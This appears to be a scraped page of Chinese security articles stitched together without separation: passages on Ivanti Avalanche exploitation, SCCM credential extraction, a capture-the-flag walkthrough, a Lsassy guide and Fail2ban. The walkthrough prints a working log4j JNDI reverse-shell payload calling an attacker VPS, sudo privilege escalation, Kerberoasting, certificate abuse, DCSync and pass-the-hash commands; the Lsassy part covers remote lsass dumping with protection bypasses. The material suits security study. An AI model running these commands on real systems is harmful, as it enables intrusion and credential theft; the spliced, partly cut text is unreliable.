儘管如此,我們仍在處理一個新的Java版本。因此,我們不能濫用遠程類加載。此外,攻擊者不能濫用LDAP反序列化向量(此處有描述[PDF])。使用JNDI注入,我們可以交付序列化的有效負載,然後由目標反序列化。然而,我們沒有意識到任何反序列化小工具可能被濫用在Web文件服務器。如果有任何gadget,我們首先就不需要JNDI查找。幸運的是,在Web文件服務器類路徑中包含了幾個有趣的JAR包。

16.png

Web文件服務器- Tomcat jar

可以看到,Web File Server加載了幾個Tomcat JAR包。你可能還熟悉MichaelStepankin發現的技術,它濫用TomcatBeanFactory中的不安全反射通過JNDILookup執行任意命令。

總之,我們可以執行以下攻擊:

马云惹不起马云設置惡意LDAP服務器,該服務器將為惡意BeanFactory提供服務。我們將使用RogueJNDI工具。

马云惹不起马云註冊InfoRail服務。

马云惹不起马云發送包含CVE-2021-39146小工具的消息,以指向在步驟1中定義的服務器的Web文件服務器為目標。

马云惹不起马云Web文件服務器進行LDAP查找並從惡意服務器檢索數據。

马云惹不起马云遠程代碼執行。

LDAP服務器的設置如下圖所示:

17.png

RogueJndi的設置

下一個片段展示了用於此概念證明的CVE-2021-39146小工具:

jndiGadget.xml

18.png

如果一切順利,並且成功地執行了查找,那麼Rogue JNDI應該顯示以下消息,並且應該在目標系統上執行代碼。

19.png

被觸發的JNDI查找

總而言之,我們能夠濫用自定義的IvantiAvalanche協議和XML消息反序列化機制來利用五種不同的服務並以SYSTEM權限遠程執行代碼。我在IvantiAvalanche中發現了更多反序列化漏洞。接下來,我將繼續討論協議和跨服務通信。

在通信和身份驗證消息中濫用攻擊條件如上所述,各種Avalanche服務在InfoRail的幫助下相互通信。當服務提供響應時,該響應將再次通過InfoRail服務轉發。這項研究的想法是:攻擊者是否有可能欺騙響應?如果是這樣,就有可能濫用IvantiAvalanche行為並執行潛在的惡意操作。

我重點研究了身份驗證操作,如下圖所示:

20.png

認證方案當用戶通過AvalancheWeb應用程序登錄面板進行身份驗證時,後端會將身份驗證消息傳輸到EnterpriseServer。此服務驗證憑據並發回適當的響應。如果提供的憑據正確,則用戶將通過身份驗證。

在這個研究過程中,我學到了兩件重要的事情:

马云惹不起马云攻擊者可以註冊為任何服務。

马云惹不起马云身份驗證消息分佈在註冊的Enterprise Server的每個實例中。

據此,攻擊者可以將自己註冊為企業服務器,並截獲傳入的身份驗證消息。但是,這種行為並沒有什麼直接的後果,因為傳輸的密碼是經過哈希和加密的。

下一個問題是是否可以將攻擊者自己的響應傳遞給AvalancheWeb,以及它是否會被接受。事實證明,是的,這是可能的!如果你想提供自己的響應,則必須在消息標頭中正確設置兩個值:

马云惹不起马云Origin——發送消息的AvalancheWeb後端的主題(ID)。

马云惹不起马云MsgId——原始身份驗證消息的消息ID。

這兩個值都比較容易獲得,因此攻擊者可以對消息提供自己的響應。它將被正在等待響應的服務接受。下圖展示了一個攻擊場景示例。

21.png

攻擊條件攻擊場景如下:

——攻擊者嘗試使用錯誤的憑據登錄Web應用程序。

——Web應用程序發送認證消息。

——InfoRail服務將消息發送到兩台企業服務器:合法服務器和惡意服務器。

——攻擊時間:

——合法服務器以“錯誤憑據”消息響應。

——惡意服務器以“credentialsOK”消息響應。如果攻擊者的服務器首先傳遞消息,則將其轉發到AvalancheWeb應用程序。

——攻擊者獲得身份驗證。

請注意,針對攻擊者服務器的“登錄消息”不是故意存在的(儘管它實際上是傳輸給攻擊者的)。我想強調一個事實,即可以在不可能讀取消息的情況下利用這個問題。在此攻擊中,攻擊者必須暴力破解已經提到的消息ID值。它使整個攻擊複雜化,但仍然有可能被利用。

總結這一部分,攻擊者可以設置自己的惡意Enterprise Server,並濫用攻擊條件來向Web應用程序交付自己的身份驗證響應。還有兩件事需要調查:響應消息是什麼樣的,我們能否緩解攻擊?

身份驗證處理以下代碼段提供了對登錄消息的示例響應。請注意,這些消息在合法使用期間會更大。但是,對於概念驗證,我已將它們最小化並僅存儲了開發所需的那些部分。

22.png

響應消息由幾個重要部分組成:

马云惹不起马云它包含一個responseObject標記,它是一個序列化的用戶對象。

马云惹不起马云它包含一個非常重要的responseCode標籤。

马云惹不起马云在身份驗證期間的某個時刻,Web後端調用UserService.doLogin方法:

doLogin.java

23.png

在[1]處,UserCredentials對像被實例化。然後,設置其成員。

在[2]處,將調用authenticate方法,並將在[1]處初始化的對像作為參數傳遞:

authenticate.java

24.png

在[1]處,初始化UserLogin對象。

在[2]處,UserCredentials對像被序列化。

在[3]處,消息正在發送到企業服務器,Web後端等待響應。

在[4]處,驗證響應中包含的responseCode。我們希望它等於0。

在[5]處,userLogin.authenticated設置為True。

在[6]處,userLogin.currentUser被設置為包含在responseObject中的對象。

在[7]處,該方法返回userLogin對象。

基本上,響應應該有一個等於0的responseCode。它還應該在responseObject標記中包含一個正確序列化的User對象。

最後,我們分析負責調用doLogin函數的UserBean.loginInner方法的片段。

loginInner.java

25.png

在[1]處,調用doLogin方法。它檢索UserLogin類型的對象。

在[2]處,它將this.currentUser設置為userLogin.currentUser。

在[3]處,它設置各種其他設置。

有一件非常重要的事情需要注意:Web後端不會將登錄面板中提供的用戶名與企業服務器檢索到的用戶名進行比較。因此,攻擊者可以:

马云惹不起马云觸髮用戶名為“poc”的身份驗證。

马云惹不起马云贏得攻擊並在響應中提供用戶“amcadmin”。

马云惹不起马云然後攻擊者將被認證為“amcadmin”。

總而言之,攻擊者似乎沒有任何障礙,他的響應應該由WebBackend處理,沒有任何問題。接下來,我們將注意力轉向防禦。

在默認安裝中,EnterpriseServer和InfoRail服務與Web後端位於同一主機上。這使得攻擊條件的利用變得更加困難,因為合法的通信由本地接口處理,這比通過外部網絡接口的通信要快得多。

儘管如此,攻擊者還是有一些優勢。例如,他不必生成動態響應,因為響應負載可以在漏洞利用中進行硬編碼。下表概述了攻擊者和合法EnterpriseServer必須執行的操作。

攻擊者從原始登錄消息中獲取消息ID,並將其放置在標頭中。

發送靜態響應。

企業服務器從原始登錄消息中獲取消息ID並將其放在標頭中。

解密並驗證用戶的憑據。

檢索用戶的詳細信息並創建用戶對象。

動態創建響應。

遠程攻擊者需要執行的操作要少得多,可以更快地準備響應。它使攻擊可以順利進行。

未經身份驗證的攻擊者可以修改Avalanche系統設置。這是由於一個單獨的漏洞允許繞過域身份驗證(ZDI-CAN-15919)。遠程攻擊者可以啟用基於LDAP的身份驗證並為LDAP服務器配置設置任何地址。在這種情況下,合法的EnterpriseServer將首先嘗試訪問這個“非法”身份驗證服務器。這將給攻擊者額外的1 - 2秒時間(如果使用得當,甚至更多)。這樣,攻擊者就可以獲得更多的時間來發起攻擊。

Microsoft系統中心配置管理器(SCCM)。 SCCM是一款微軟產品體系架構下的桌面端,服務器,移動端管理產品。主要是負責桌面標準化,網絡批量安裝部署軟件和操作系統,殺毒策略,資產收集,移動端管理等等。是一款作為IT管理員,企業基礎架構管理的必備工具。在這篇文章中,我們將介紹SCCM 如何使用其HTTP API 來初始化客戶端。我們還將了解如何從SCCM 檢索網絡訪問帳戶,以及我們如何解密這些憑據而無需使用DPAPI 或管理員帳戶。

實驗室設置對於我們的實驗室設置,我們將使用默認的SCCM 部署。我發現最簡單的方法是通過自動化實驗室,它支持通過ConfigurationManager 角色進行安裝:

1.png

我們將在這篇文章中使用的版本是Configuration Manager 2103,我們將把我們的主站點命名為P01。本實驗的服務器將稱為SCCM01,我們將配置為使用HTTP 進行通信。

一旦SCCM服務器的設置完成,我們將把一切都保留為標準,並添加一個Network Access Account供以後使用:

2.png

完成後,我們就可以繼續探索了!

客戶端註冊讓我們首先看看客戶機嘗試向SCCM註冊時生成的請求。為了做到這一點,我們使用@_Mayyhem awesome SharpSCCM工具:

3.png

當SharpSCCM 調用實際的.NET 客戶端庫時,我們會收到一個清晰的請求,我們可以使用WireShark 來識別它。客戶端向SCCM 服務器註冊的初始步驟如下:

4.png

這個HTTP 請求被發送到SCCM 服務器,由兩部分組成,一個是XML 編碼的標頭,另一個是在多部分/混合HTTP 請求中發送的XML 編碼的正文。有趣的是,該協議還使用了CCM_POST 的HTTP 方法。

標頭採用UTF-16 編碼,如下所示:

5.png

請求正文是zlib壓縮和Unicode編碼:

6.png

為了簡單起見,我刪除了一些較長的十六進製字符串,但我們在這裡看到的是三個十六進制blob被發送到服務器,以及一些關於我們的客戶端的初始信息。

讓我們轉儲Signing blob:

7.png

如果我們看這個,我們實際上會看到這是一個DER 編碼的證書:

8.png

生成此證書時,添加了兩個擴展密鑰使用OID:

9.png

這些將證書標記為短信簽名證書(自簽名)。

因此,我們看到客戶端證書被傳遞給SCCM服務器以供稍後使用,但是SignatureValue字段呢?讓我們啟動dnSpy並深入研究System.ConfigurationManagement.Messaging.dll程序集,該程序集位於安裝了客戶端的主機上的C:\Windows\CCM 中。

經過一番搜尋,我們在Interop.Crypt32.HashAndSignData中找到了答案:

10.png

這表明,使用帶有PKCSv15填充的RSA- sha256正在使用與證書關聯的RSA 私鑰對XML 請求正文進行簽名。

這裡需要注意的一件奇怪的事情是,一旦生成簽名,字節在ASCII十六進制編碼並添加到請求¯\_(ツ)_/¯之前會被反轉。

當服務器響應這個客戶端註冊請求時,我們再次看到有一個XML 標頭和正文,其中正文數據被zlib 壓縮。可以看到我們被分配給了ClientID,它是在我們的客戶端與服務器通信期間使用的UUID:

11.png

在這個階段值得注意的是,這個請求可以發送到未經身份驗證的SCCM URL http://SCCM01/ccm_system/request。這足以向SCCM添加一個客戶端條目,但是我們將處於“未批准”狀態。這種狀態在以後會變得很重要:

12.png

政策要求客戶端註冊後,客戶端執行的下一個階段是檢索策略列表。此調用還使用

13.png

不幸的是,這是事情變得有點複雜的地方。我們首先需要關注的是PublicKey blob。這實際上只是客戶端之前為證書生成的RSA 公鑰,但是這次它被編碼為PUBLICKEYBLOB。

接下來是ClientIDSignature。這是我們之前看到的用於簽署ClientID 的RSA-SHA256 簽名,前面帶有GUID:然後轉換為Unicode。例如:

14.png

最後是PayloadSignature,它是隨後壓縮的主體的簽名。

這個請求的主體是zlib 壓縮和Unicode 編碼的,帶有我們客戶端的信息:

15.png

對該請求的響應是XML主體中可用的策略列表:

16.1.png

16.2.png

雖然這裡有很多有趣的東西,但我們現在要關注的領域將是網絡訪問帳戶的共享方式。

秘密政策如果你遍歷我們檢索到的策略列表,你一定會遇到標記為“秘密”的策略。其中一個策略是NAAConfig,它包含了網絡訪問帳戶:

17.png

你可能已經看到@gentilkiwi 在2021 年發布的Mimikatz 更新中引用了這些帳戶,這表明通常這些憑據是在SCCM 客戶端上使用DPAPI 加密的:

18.png

但是,如果我們嘗試使用RequestAssignments 請求返回的URL 直接下載此策略,我們會看到出現一個錯誤。

19.png

這樣做的原因是需要對秘密策略的請求進行身份驗證。但是由於這是SCCM,所以還需要進行另一種類型的身份驗證。

經過一番搜尋之後,我發現了對SCCM 服務器上名為ccmgencert.dll 的DLL 中使用的身份驗證類型的引用:

20.png

既然我們知道了一些使用的簽名方法,這些標頭實際上可以很容易被創建。看看被添加到SCCM平台的客戶端,我們看到它們是這樣的:

21.png

ClientToken只是我們的cliententid和當前DateTime的一個連接。 ClientTokenSignature是使用上面相同的RSA-SHA256算法的簽名。

讓將這些標頭添加到我們的請求中,看看會得到什麼:

22.png

這一次,我們得到了不同的回應。我的意思是我們出現錯誤,但我們也沒有得到任何不好的數據。

事實證明,對於我們的客戶端實際請求秘密策略,他們需要在服務器上處於Approved 狀態。

默認情況下,SCCM 安裝有以下內容:

23.png

那麼,計算機是如何自動自我認可的呢?還有另一個URL被/ccm_system_windowsauth/request的客戶端使用。如果之前的XML ClientRegistrationRequest被發送到這個路徑,並完成NTLMSSP驗證計算機帳戶,則客戶端設置為Approved 狀態:

24.png

現在,當對此URL 進行身份驗證時,我們似乎可以使用任何隨機域用戶帳戶。然而,問題是它似乎不足以迫使客戶進入批准狀態。相反,我們需要使用計算機帳戶(儘管它不需要與我們嘗試註冊的客戶端相對應),所以addcomputer.py 在這裡非常有用。

25.png

通過將此身份驗證步驟添加到我們的註冊請求並強制我們的客戶端進入Approved 狀態,下次我們請求NAAConfig 策略時,我們會得到如下所示的內容:

26.png

好吧,回到dnSpy,我們去嘗試弄清楚。答案在Interop.DecryptMessageFromCertificateFile 方法中找到,該方法顯示了CryptDecryptMessage API 調用的使用。

27.png

參數顯示此加密策略是使用3DES CBC 的PKCS7 編碼blob,其密鑰源自我們之前在證書中提供的RSA 公鑰。

解密後,我們終於看到了一些實際的憑證,如下所示:

28.png

網絡訪問帳戶混淆起初,獲取這些賬戶似乎需要更多的加密貨幣。但是MimiKatz 已經向我們展示了這些憑據最終可以在客戶端上訪問,因此我們知道我們的客戶端必須能夠在使用DPAPI 保護它們之前以某種方式解密這些憑據……那麼密鑰是什麼?在尋找這個加密是如何完成的之後,我在客戶端上找到了一個名為PolicyAgent.dll 的DLL。

最重要的是調試字符串:

29.png

UnobfuscateString 聽起來很有希望,當然聽起來比DecryptString 更好。我沒有深入研究這個反彙編的所有部分,而是創建了一個快速調試工具來調用這個函數。

30.png

當運行在與SCCM實驗室網絡無關的主機上時,並且連接到調試器以逐步解決通過以這種方式調用方法而發生的不可避免的訪問衝突時,就會解密用戶名和密碼:

31.png

32.png

這意味著所使用的加密與描述的完全一樣,它是被混淆的!我們擁有在密文中解密這些憑證所需的所有信息,而且我們可以完全離線完成!

通過重新創建unobfuscation方法的步驟,我們可以創建如下所示的解密代碼。

33.1.png

有了計算機帳戶,我們就可以在SCCM 中添加虛假客戶端,下載加密的網絡訪問帳戶憑據,並對其進行解密,而無需處理提升權限或任何DPAPI 解密。

说明

Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

技术

Solr、AD CS、SMB、Kerberos、域渗透

第一个flag

log4j RCE

扫描外网IP

qnhqhxj1oxs14351.png

发现solr存在log4j的组件,测试是否存在rce

o5v2lkwea3q14352.png
GET /solr/admin/cores?action=${jndi:ldap://1p9bvr.dnslog.cn} HTTP/1.1
Host: 47.92.113.194:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://47.92.113.194:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close
xj0qvvofpso14353.png

dnslog回显

25mwli0u0bs14354.png

JNDI反弹shell,在VPS上开启

# 加载恶意类
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 47.103.xxx.xxx

#开启监听
nc -lvvp 5555
3rzpoqcqmta14355.png

payload

${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}

发送请求

GET /solr/admin/cores?action=${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}&wt=json HTTP/1.1
Host: 47.92.113.194:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://47.92.113.194:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close

成功反弹shell

gpirmronthy14356.png

sudo提权

sudo -l
ih2w2wcphz514357.png
sudo grc --help
fzim3lxne2b14358.png
sudo grc --pty whoami
ywdthyefh4x14359.png

查找flag

sudo grc --pty find / -name flag*
4mrr0xifh5g14360.png

输出flag

sudo grc --pty cat /root/flag/flag01.txt
0edm1r0ajdx14361.png

第二个flag

内网渗透

出口机器上代理,并扫描内网,具体就不赘述了(架设http服务,wget 下载npc和fscan)

172.22.9.13:445 open
172.22.9.26:445 open
172.22.9.47:445 open
172.22.9.7:445 open
172.22.9.26:139 open
172.22.9.47:139 open
172.22.9.7:139 open
172.22.9.26:135 open
172.22.9.13:139 open
172.22.9.13:135 open
172.22.9.7:135 open
172.22.9.26:80 open
172.22.9.47:80 open
172.22.9.19:80 open
172.22.9.47:22 open
172.22.9.47:21 open
172.22.9.19:22 open
172.22.9.7:88 open
172.22.9.19:8983 open
[+] NetInfo:
[*]172.22.9.13
   [->]CA01
   [->]172.22.9.13
[*] 172.22.9.7     [+]DC XIAORANG\XIAORANG-DC     
[*] 172.22.9.26          XIAORANG\DESKTOP-CBKTVMO   
[+] NetInfo:
[*]172.22.9.26
   [->]DESKTOP-CBKTVMO
   [->]172.22.9.26
[+] NetInfo:
[*]172.22.9.7
   [->]XIAORANG-DC
   [->]172.22.9.7
[*] 172.22.9.13          XIAORANG\CA01            
[*] WebTitle:http://172.22.9.47        code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] WebTitle:http://172.22.9.19        code:200 len:612    title:Welcome to nginx!
[*] 172.22.9.47          WORKGROUP\FILESERVER        Windows 6.1
[*] 172.22.9.47  (Windows 6.1)
[*] WebTitle:http://172.22.9.19:8983   code:302 len:0      title:None 跳转url: http://172.22.9.19:8983/solr/
[*] WebTitle:http://172.22.9.26        code:200 len:703    title:IIS Windows Server
[*] WebTitle:http://172.22.9.19:8983/solr/ code:200 len:16555  title:Solr Admin

发现以下资产

172.22.9.19 入口IP
172.22.9.7  DC
172.22.9.26 域成员
172.22.9.47 文件服务器
172.22.9.13 CA

根据提示,文件服务器应该存在smb的共享,进一步收集信息

注意:fscan不扫描smb的共享模式,所以可以采用nmap来扫描

sudo grc --pty nmap -sT -A 172.22.9.47
qubhiazg34i14362.png

使用 smbclient 连接共享

proxychains smbclient \\\\172.22.9.47\\fileshare
dir
get personnel.db
get secret\flag02.txt
fspo1fn0pgr14363.png

获得falg02,还有一段提示 you have enumerated smb. But do you know what an SPN is?

rpyxqjooikx14365.png

第三个flag

数据库文件中有几个用户名和密码

rc4rzpac5r014367.png

rdp破解

proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV -e ns
my2o1pbjptk14369.png

获得了两个账号,但是无法远程登录

Kerberoast攻击

使用GetUserSPNs.py寻找注册在域用户下的SPN

proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
2xb0qar0q3o14371.png

hash 离线破解,速度很快,1.txt 是hash值,rockyou.txt 是kali自带的密码本

hashcat64.exe -m 13100 1.txt rockyou.txt
oc4yuysmt4514373.png

得到zhangxia/MyPass2@@6,使用账号密码远程登录即可

注意,因为是域账号所以用户名为 zhangxia@xiaorang.lab,登录完成后并不能直接访问administrator的目录查找flag,因为不是管理员权限

wguadkgrfjk14375.png

ADCS ESC1

使用Certify.exe定位漏洞

Certify.exe find /vulnerable
adqk2me5s0514377.png

ESC1利用前提条件:

msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT

表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
PkiExtendedKeyUsage: Client Authentication

表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证

Enrollment Rights: NT Authority\Authenticated Users

表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书

为域管申请证书

Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator
4cecjj4er5214379.png

转换格式

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

请求TGT、PTT

因为导出证书转换的时候并没有输入密码,所以这里密码留空就行

Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
dy2a3cyeip214382.png

获取到域管的票据后导出哈希

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
u4jma2fa5n314384.png

哈希传递

PTH 172.22.9.26

proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
y5qpygc3fn214387.png

第四个flag

PTH DC

proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7
d5xxwkrmshw14390.png

原文链接: https://zhuanlan.zhihu.com/p/581487685

0x00 前言在之前文章《渗透基础——从lsass.exe进程导出凭据》 介紹了本地導出憑據的方法,而在滲透測試中,經常遇到的情況是需要遠程導出憑據,本文將要介紹遠程導出憑據的思路和方法,記錄細節。

0x01 簡介本文將要介紹以下內容:

思路

實現方法

lsassy介紹

0x02 思路在遠程導出憑據時,需要考慮以下幾點:

(1)需要實現遠程命令執行,關於遠程命令執行,可以參考之前的文章《在远程系统上执行程序的技术整理》

(2)由於保護措施的限制,不同環境需要不同的導出方法

(3)遠程導出lsass進程的dump文件後,通常會選擇將dump文件複製到本地,解析得到口令hash,而有的時候lsass進程的dump文件很大,所以需要考慮傳輸文件的效率

(4)對於多個系統,重複勞動太多,效率不高

綜合以上幾點,我們需要一個方便快捷的方法:支持多種導出方法,能夠直接解析出口令hash,操作自動化以提高效率。

這裡可以使用開源工具Lsassy,地址為:https://github.com/Hackndo/lsassy

0x03 lsassy介紹1.安裝使用安裝命令:

pipinstalllsassy測試命令:

lsassy-uAdministrator-pPassword1192.168.1.1在輸出上,使用termcolor添加了顏色顯示,在默認Windows cmd下無法正常顯示顏色,會導致顯示格式不友好,存在一些亂碼。

為了解決Windows下格式亂碼的問題,可以修改Python \lib\site-packages\lsassy\logger.py,代碼如下:

importlogging

importos

importsys

classLsassyFormatter(logging.Formatter):

def__init__(self):

logging.Formatter.__init__(self,'%(bullet)s%(threadName)s%(message)s',None)

ifos.name=='nt':

self.BLUE,self.WHITE,self.YELLOW,self.RED,self.NC='','','','',''

else:

self.BLUE='\033[1;34m'

self.WHITE='\033[1;37m'

self.YELLOW='\033[1;33m'

self.RED='\033[1;31m'

self.GREEN='\033[1;32m'

self.NC='\033[0m'

defformat(self,record):

ifrecord.levelno==logging.INFO:

record.bullet='[*]{}'.format(self.NC)

elifrecord.levelno==logging.DEBUG:

record.bullet='[*]{}'.format(self.NC)

elifrecord.levelno==logging.WARNING:

record.bullet='[!]{}'.format(self.NC)

elifrecord.levelno==logging.ERROR:

record.bullet='[x]{}'.format(self.NC)

else:

record.bullet='[+]{}'.format(self.NC)

ifrecord.exc_infoandlogging.getLogger().getEffectiveLevel()!=logging.DEBUG:

record.exc_info=None

returnlogging.Formatter.format(self,record)

defhighlight(msg):

returnmsg

definit(quiet=False):

handler=logging.StreamHandler(sys.stdout)

handler.setFormatter(LsassyFormatter())

logging.getLogger().addHandler(handler)

logging.getLogger().setLevel(logging.INFO)

logging.addLevelName(25,'SUCCESS')

setattr(logging,'success',lambdamessage,*args:logging.getLogger()._log(25,message,args))

logging.getLogger().disabled=quiet2.打包成exe這裡可以使用pyinstaller,主程序代碼為https://github.com/Hackndo/lsassy/blob/master/lsassy/console.py

打包成單獨exe的命令:

pyinstaller-Fconsole.py生成console.exe後,在執行時會報錯提示缺少Module

根據輸出提示修改打包命令,添加引用Module:

pyinstaller-Fconsole.py--hidden-importunicrypto.backends.pure.DES--hidden-importunicrypto.backends.pure.TDES--hidden-importunicrypto.backends.pure.AES--hidden-importunicrypto.backends.pure.RC4此時雖然能夠正常啟動console.exe,但是無法運行導出功能。

調試方法:添加參數-vv,能夠看到lsassy.dumpmethod.comsvcs找不到

添加所有依賴包,得到完整的打包命令:

pyinstaller-Fconsole.py--hidden-importunicrypto.backends.pure.DES--hidden-importunicrypto.backends.pure.TDES--hidden-importunicrypto.backends.pure.AES--hidden-importunicrypto.backends.pure.RC4--hidden-importlsassy.dumpmethod.comsvcs--hidden-importlsassy.dumpmethod.comsvcs_stealth--hidden-importls assy.dumpmethod.dllinject--hidden-importlsassy.dumpmethod.dumpert--hidden-importlsassy.dumpmethod.dumpertdll--hidden-importlsassy.dumpmethod.edrsandblast--hidden-importlsassy.dumpmethod.mirrordump--hidden-importlsassy.dumpmethod.mirrordump_embedded--hidden-importlsassy.dumpmethod.nanodump--hidden- importlsassy.dumpmethod.ppldump--hidden-importlsassy.dumpmethod.ppldump_embedded--hidden-importlsassy.dumpmethod.procdump--hidden-importlsassy.dumpmethod.procdump_embedded--hidden-importlsassy.dumpmethod.rdrleakdiag--hidden-importlsassy.dumpmethod.wer--hidden-importlsassy.exec.mmc--hidden-importls assy.exec.smb--hidden-importlsassy.exec.smb_stealth--hidden-importlsassy.exec.task--hidden-importlsassy.exec.wmi--hidden-importlsassy.output.grep_output--hidden-importlsassy.output.json_output--hidden-importlsassy.output.pretty_output--hidden-importlsassy.output.table_output此時生成的console.exe可以正常使用。

3.支持的導出方法(1)comsvcs

使用C:\windows\system32\comsvcs.dll的導出函數MiniDump()獲得lsass進程的dump文件。

細節可參考之前的文章《MiniDumpWriteDump via COM+ Services DLL》 的利用測試。

可直接使用。

(2)comsvcs_stealth

方法類似comsvcs,區別是先將C:\windows\system32\comsvcs.dll複製到c:\windows\temp並重命名,使用新的dll獲得lsass進程的dump文件。

可直接使用。

(3)dllinject

通過dll注入的方式實現

APC注入的方法可參考《通过APC实现Dll注入——绕过Sysmon监控》 。

需要加入參數: -O loader_path=loader.exe,dll_path=inject.dll

(4)dumpert

技術細節:https://github.com/outflanknl/Dumpert

通過API MiniDumpWriteDump()獲得lsass進程的dump文件。

需要加入參數: -O dumpert_path=dumpert.exe

(5)dumpertdll

方法同上,區別是使用dll文件作為參數。

需要加入參數: -O dumpertdll_path=dumpert.dll

(6)edrsandblast

技術細節:https://github.com/wavestone-cdt/EDRSandblast

利用帶有簽名的驅動程序獲得lsass進程的dump文件

需要加入參數: -O edrsandblast_path=EDRSandBlast.exe,RTCore64_path=RTCore64.sys,ntoskrnl_path=NtoskrnlOffsets.csv

(7)mirrordump

技術細節:https://github.com/CCob/MirrorDump

實現流程:

加載一個LSA SSP插件

在插件中洩露lsass.exe的進程句柄

通過API MiniDumpWriteDump()獲得lsass進程的dump文件

需要加入參數: -O mirrordump_path=Mirrordump.exe

(8)mirrordump_embedded

方法同上,不需要Mirrordump.exe作為參數。

需要注意的是mirrordump無法自動清除已註冊的LSA SSP插件,使用該方法後會留下以下痕跡:

LSA SSP插件保存在C:\Windows\System32,名稱為八位隨機字符,後綴名為dll

lsass進程中殘留未卸載的dll

痕跡如下圖

d2d17af8a1c234df1169a5c7b5cc891.png

清除痕蹟的方法:先卸載lsass進程中加載的dll,再刪除dll文件。

關於枚舉和清除LSA SSP插件的細節可參考之前的文章《Mimikatz中SSP的使用》 。

可直接使用。

(9)nanodump

技術細節:https://github.com/helpsystems/nanodump

優點是支持多種方式洩露lsass進程句柄。

需要加入參數: -O nanodump_path=nanodump.exe

(10)ppldump

技術細節:https://github.com/itm4n/PPLdump

支持Win10和Server2019

能夠繞過PPL(Protected Process Light)對lsass進程的保護。

相關細節:

https://itm4n.github.io/lsass-runasppl/

https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/

需要加入參數: -O ppldump_path=PPLdump.exe

(11)ppldump_embedded

方法同上,不需要PPLdump.exe作為參數。

可直接使用。

(12)procdump

通過procdump.exe獲得lsass進程的dump文件。

需要加入參數: -O procdump_path=procdump.exe

(13)procdump_embedded

方法同上,不需要procdump.exe作為參數。

可直接使用。

(14)rdrleakdiag

目標系統需要在c:\windows\system32\下存在文件rdrleakdiag.exe

默認存在的系統:

Windows 10,10.0.15063.0

Windows 8.1,6.3.9600.17415

Windows 8,6.2.9200.16384

Windows7,6.1.7600.16385

Windows Vista,6.0.6001.18000

只能執行一次,再次執行需要重新啟動操作系統。

可直接使用。

(15)wer

技術細節:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

通過Powershell調用API MiniDumpWriteDump()獲得lsass進程的dmp文件。

可直接使用。

0x04 小結本文介紹了遠程從lsass.exe進程導出憑據的思路,逐個介紹Lsassy使用的導出方法,分析技術細節。

如何保護您的Web 應用程序免受密碼破解Part 1

什麼是Fail2ban,它是如何工作的? Fail2ban是一種用於掃描日誌文件、檢測可疑活動(例如太多失敗的身份驗證嘗試)以及阻止潛在惡意IP 地址的工具。

這項免費服務有助於保護Linux 機器免受暴力破解和其他自動攻擊。通常,Fail2ban 用於更新防火牆規則以在指定的時間內拒絕IP 地址。

Fail2ban 有以下好處:

马云惹不起马云易於設置

马云惹不起马云免費使用

马云惹不起马云可以與大量應用程序交互

马云惹不起马云提供大量配置參數

马云惹不起马云易於監控當前保護狀態

马云惹不起马云與各種通知服務集成

儘管Fail2ban 可以幫助您最大限度地減少錯誤身份驗證嘗試的次數,並在一定程度上降低密碼破解和未經授權訪問的風險,但它並不是靈丹妙藥。

不利的一面是,Fail2ban 無法涵蓋由於服務器身份驗證策略薄弱而出現的問題。即使是最好的Fail2ban 配置也不能替代我們上面討論的密碼保護最佳實踐。此外,Fail2ban 僅適用於Linux,不適用於IPv6。

為了有效地保護您的服務,您還可以應用用於多因素和公共/私人身份驗證機制的工具。

image.png

Fail2ban 的優缺點

Fail2ban 是如何工作的?下面簡單解釋一下它的機制:

1. 任何應用程序或服務器總是將日誌保存在特定文件中,包括失敗的身份驗證嘗試的唯一日誌。

2. Fail2ban 掃描這些文件,搜索與身份驗證失敗相關的日誌。

3. 如果檢測到失敗的身份驗證嘗試,Fail2ban 會保存嘗試的時間和負責的IP 地址。

4. Fail2ban 計算在指定時間段內來自同一IP 的失敗身份驗證嘗試。

5. 如果IP 地址超過了允許的嘗試次數,Fail2ban 會創建一個新的防火牆規則來阻止該IP 地址。

